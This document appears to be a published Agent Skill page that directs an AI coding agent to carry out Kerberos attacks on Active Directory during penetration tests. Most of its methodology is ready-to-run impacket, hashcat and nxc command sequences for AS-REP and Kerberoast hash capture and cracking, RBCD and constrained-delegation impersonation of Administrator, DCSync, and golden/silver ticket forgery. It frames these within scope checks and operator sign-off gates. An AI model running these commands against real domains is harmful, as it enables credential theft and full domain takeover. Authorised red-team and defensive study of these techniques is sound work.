# Hunt Ad Kerberos

> Kerberos attack expert of the AD split: roasting (AS-REP/Kerberoast/

- Skill: `encod3d-sec/hunt-ad-kerberos` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-ad-kerberos`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-ad-kerberos/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-ad-kerberos

---


# Hunt: AD - Kerberos expert (microskill)

Kerberos attack expert of the AD split: roasting (AS-REP/Kerberoast/
timeroast), delegation abuse (unconstrained/constrained/RBCD), ticket
forgery (golden/silver/diamond). The mapper (hunt-ad) owns enum waves
and dispatch; this skill owns everything that rides a TGT/TGS.

Wiki mass: roasting-* (3 pages), kerberos-delegation-* (3), bronze
bit, S4U, kerberos-attacks - this skill is the execution shell.

2025-26 technique ladder: `references/bypass-arsenal.md` (NEW classes, defense->bypass map).

## Wiki

Hub: [[active-directory-moc]] - Primary page: [[kerberos-attacks]]
Per-vector pages: [[roasting-kerberoasting]],
[[roasting-asrep-roasting]], [[roasting-timeroasting]],
[[kerberos-delegation-unconstrained-delegation]],
[[kerberos-delegation-constrained-delegation]],
[[kerberos-delegation-resource-based-constrained-delegation]],
[[kerberos-bronze-bit]], [[kerberos-service-for-user-extension]]
**REFS:** [[kerberos-attacks]], the delegation pages

qmd on hint only: "kerberos roasting delegation RBCD golden ticket" -
the per-vector pages first.

## Paths (binding - shared with the mapper run)

    # seat side (wsl):
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/ad/<domain>          # SHARED with hunt-ad
    # VM side:
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/ad/<domain>

Experts write probes/ad-kerberos*.jsonl into the mapper's $RUN tree.
Hash/ccache material lives ONLY under $RUN/probes/raw/ (leak hygiene).

## Transport

Every VM-native command block ships through ONE documented transport:

    cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'

- vm-ssh lands as user tz (NOT root); one argument per call; quotes
  ship as base64 (`echo <b64> | base64 -d | bash`).
- Kerberos ops ALWAYS carry -dc-ip AND -target-ip (stale /etc/hosts
  realm lines silently hang the KDC resolution - check the realm line
  first). Clock synced or getST throws KRB_AP_ERR_SKEW.
- HTTP fetches via /opt/scope-shim/bin/{curl,httpx}; out-of-scope
  dies rc 126 (never work around); UNKNOWN = ADVISORY, self-deny.
- Long cracks run detached (vm-bg.sh) + hashcat single-instance lock
  checked between runs.

## Entry gate

All four must pass; each is falsifiable:

1. Active engagement exists; domain/DC on targets/<eng>/scope.md.
   Scope-guard is the deny.
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
3. Mapper verified: $RUN/raw/domain-map.md + $RUN/raw/users.md exist
   (the validated user list IS the roasting prerequisite) AND the
   AD-HUNT-DONE pointer ($ENG_DIR/hunt-ad-<domain>.md) names kerberos
   in next=. Missing = dispatch hunt-ad first.
4. Toolchain preflight (fails LOUD):

       for t in /usr/bin/jq /usr/bin/python3; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done
       for t in impacket-GetNPUsers impacket-GetUserSPNs                 impacket-getST impacket-rbcd impacket-ticketer                 impacket-addcomputer; do
         command -v "$t" >/dev/null            || pip3 install --user --break-system-packages -q impacket            || echo "N/A: $t absent on VM (install failed)"
       done
       command -v kerbrute >/dev/null          || { export HOME=/home/tz; go install github.com/ropnop/kerbrute@latest 2>/dev/null; }          || echo "N/A: kerbrute absent on VM (install failed)"
       command -v hashcat >/dev/null          || sudo apt-get install -y hashcat 2>/dev/null          || echo "N/A: hashcat absent on VM (install failed)"
       command -v nxc >/dev/null          || { pip3 install --user --break-system-packages -q pipx               && HOME=/home/tz /home/tz/.local/bin/pipx install netexec; }          || echo "N/A: nxc absent on VM (install failed)"
       command -v impacket-rbcd >/dev/null || true

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/ad/<domain>/ad-kerberos-checklist.md` at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. SKILL.md and the checklist header agree byte-for-byte on the
copy target.

## Nudge

Review-skill re-injection text (pinned; NOTE: completion-gate emits
its own generic nudge - both mean: resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

## Confirmation gate

**NOT confirmation:** a ticket dumped but not cracked; a hash captured
but never used; a --find-delegation row never exercised; a forged
ticket never authenticated with; "cracked" creds not re-validated
against the DC.

**IS confirmation:** creds validated against the DC ([+]/Pwn3d!); a
TGT/TGS obtained AND used (authenticated read, impersonation session
exercised); an RBCD chain ending in a DCSync or impersonated session;
reproduced from your own written steps.

## Methodology

### Roasting

**AS-REP** (no creds needed, preauth-disabled users):

    impacket-GetNPUsers <domain>/ -dc-ip <dc> -usersfile users.txt -no-pass
    hashcat -m 18200 asrep.txt rockyou.txt

**Kerberoast** - PERSON-OBJECT SPN FILTER FIRST (a bare
servicePrincipalName=* is dominated by machine accounts and the one
roastable user gets missed):

    ldapsearch -x -H ldap://<dc> -b <base> \
      "(&(servicePrincipalName=*)(objectCategory=person))" \
      sAMAccountName servicePrincipalName
    impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc> -request
    hashcat -m 13100 tgs.txt rockyou.txt

**Credless variant** - no creds but an AS-REP-roastable account
exists: use IT as the requester:

    impacket-GetUserSPNs -no-preauth <asrep_user> \
      -usersfile <spn_users> -dc-host <dc> <domain>/

Machine-length (infeasible) tickets: record hash + deadend, do not
grind. NetNTLMv2 multi-hash: client/server challenges randomize per
capture - dedupe by account, crack one representative. hashcat
single-instance lock: a second crack exits instantly with "Already an
instance running" - pkill or wait. Online lookup before rockyou for
unsalted MD5/SHA1.

### Delegation

**Map first** - over EVERY owned principal AND the reset-chain
terminal user (the winning primitive is frequently an account
PROPERTY, not an ACL edge):

    nxc ldap <dc> -u <user> -p <pass> --find-delegation

**Unconstrained** (TGT capture): fire a coercion trigger (printerbug/
petitpotam - [[network-service-attacks]] owns the primitive) at a
target whose session lives on an unconstrained-delegation host;
capture the incoming TGT; extract and reuse.

**Constrained w/ PROTOCOL TRANSITION on an owned USER** = instant
impersonation of ANY user to that SPN (no computer/RBCD needed):

    impacket-getST -spn cifs/DC.<dom> -impersonate Administrator \
      -dc-ip <dc> '<dom>/<user>:<pass>'
    export KRB5CCNAME=Administrator@...ccache
    impacket-smbclient -k -no-pass DC.<dom>    # AV-safe read path

**RBCD** - resolve the WRITE SOURCE before addcomputer: ANY owned
account with an SPN (a Kerberoastable user) is a valid -delegate-from;
MAQ=0 does NOT block. Guest/DACL GenericWrite path: auth with the
empty-NT-hash (-hashes :31d6cfe0d16ae931b73c59d7e0c089c0) when
impacket prompts on a TTY-less run:

    impacket-addcomputer <dom>/<u>:<p> -computer-name 'FAKE$' \
      -computer-pass <pw> -dc-ip <dc>        # only when no owned SPN
    impacket-rbcd <dom>/<u>:<p> -delegate-to 'DC01$' \
      -delegate-from '<SOURCE>$' -action write -dc-ip <dc>
    impacket-getST <dom>/'<SOURCE>':<pw> -spn cifs/DC01.<dom> \
      -impersonate Administrator -dc-ip <dc>
    KRB5CCNAME=<ccache> impacket-secretsdump -k -no-pass DC01.<dom> \
      -just-dc-user Administrator

**Bronze bit / S4U variants**: per [[kerberos-bronze-bit]] and
[[kerberos-service-for-user-extension]] - check page conditions
before firing.

### Tickets (RoE-GATED, plan-first)

Golden (krbtgt)/silver (service)/diamond (PKINIT-era golden): with the
hash or an ESC-forged cert, forge for a TEST account, prove auth,
STOP. Plan rows in tickets-plan.md until operator sign-off.

    impacket-ticketer -nthash <hash> -domain-sid <sid> \
      -domain <domain> [-spn <service>] <testuser>

### Exit

Append kerberos rows to $RUN/candidates.jsonl; kerberos section of
candidates.md (cracked-account table); `AD-KERBEROS-DONE asrep=<n>
kerberoast=<n> delegation=<n> rbcd=<n> exercised=<n>` appended to
$ENG_DIR/hunt-ad-<domain>.md; _requests.md rows (lane =
hunt-ad-kerberos); Deadends per clean vector.

## Chaining

- ESC-forged cert -> TGT: hunt-ad-adcs (PKINIT dual-yield feeds this
  skill's ticket work).
- Cracked privileged cred -> re-feed the mapper's enum loop (new
  BloodHound collection, new delegation map) - the standard re-entry.
- Impersonated session -> mapper's lateral/DCSync close-out.

## Validation

- Proof = the ticket/session ACTING: authenticated read as the
  impersonated context, DCSync output, DC-validated cred. A cracked
  hash alone re-validates first (nxc [+]).
- Negative control: the same request without the forged ticket /
  delegation right fails identically.

## False Positives

- Kerberoastable service with machine-length password: capture real,
  impact not - deadend the class with the hash recorded.
- AS-REP account DISABLED (no login possible).
- Constrained delegation "open" but protocol signing enforced; relay
  dies.
- --find-delegation row for a principal you do not control (right
  exists, you cannot reach it).

## Severity

CRITICAL = golden/silver exercised, RBCD->DA, unconstrained TGT of a
DA captured. HIGH = cracked privileged service account, constrained
impersonation of a sensitive user. MEDIUM = roast captures uncracked /
low-priv.

## N/A escapes

- "N/A: no unconstrained host"
- "N/A: no roastable accounts"
- "N/A: no delegation rights on owned principals"
- Per-tool echoes from the preflight loop.
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

Freehand run: skip checklist + numbered steps, one freehand pass over
the delegation map, output ONLY $RUN/analysis/bitter-pill.md
(tried/found/dismissed, every claim carries evidence). The
session-exercised gate and lockout discipline survive freehand.
Declare with a _requests.md row (lane = hunt-ad-kerberos-bitterpill).

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

Appends into the shared mapper $RUN: probes/ad-kerberos*.{jsonl,md},
raw/delegation-map.md, candidates.jsonl/md (kerberos rows), pointer
line AD-KERBEROS-DONE. Hash/ccache material ONLY under probes/raw/.
Consumer: triage. Findings leave ONLY through G1. Distill: `python3
scripts/wiki-stage.py --kind technique --slug <slug> --target-page
techniques/active-directory/kerberos-attacks.md`.

## Stop conditions

All vector steps terminal; lockout gate never exceeded; golden/silver
plan-only without sign-off; delegation writes reverted after proof;
nothing written into skill dirs; no unchecked boxes above REVIEW;
hunt-core stop conditions fire unchanged.

## Attack surface

**APPROACH:** Fire the unauth-enum wave at once (null/guest shares + RID-brute, anon LDAP users + description fields, AS-REP roast, person-object SPN Kerberoast, lockout policy, `certipy find -vulnerable`), then walk enum -> roast -> ACL/ADCS ESC1-16 -> delegation -> DCSync -> lateral, reusing captured creds inside the lockout gate.
**AVOID:** A captured-but-uncracked hash, a dumped ticket, a theoretical BloodHound/ESC edge never executed, or an unvalidated spray hit is NOT confirmation - creds must authenticate to the DC (`[+]`/`Pwn3d!`) or the ticket/ACL abuse must be exercised end to end.

## Cross-routing

- Load hunt-windows when you land on a member host for local privesc before DA.
- Load hunt-m365 when the tenant is Entra/hybrid (AD Connect bridge both ways).
- Load hunt-auth for AD FS / cert-based web auth flows.
- Not this skill: plain local privesc with no domain in play (hunt-windows).

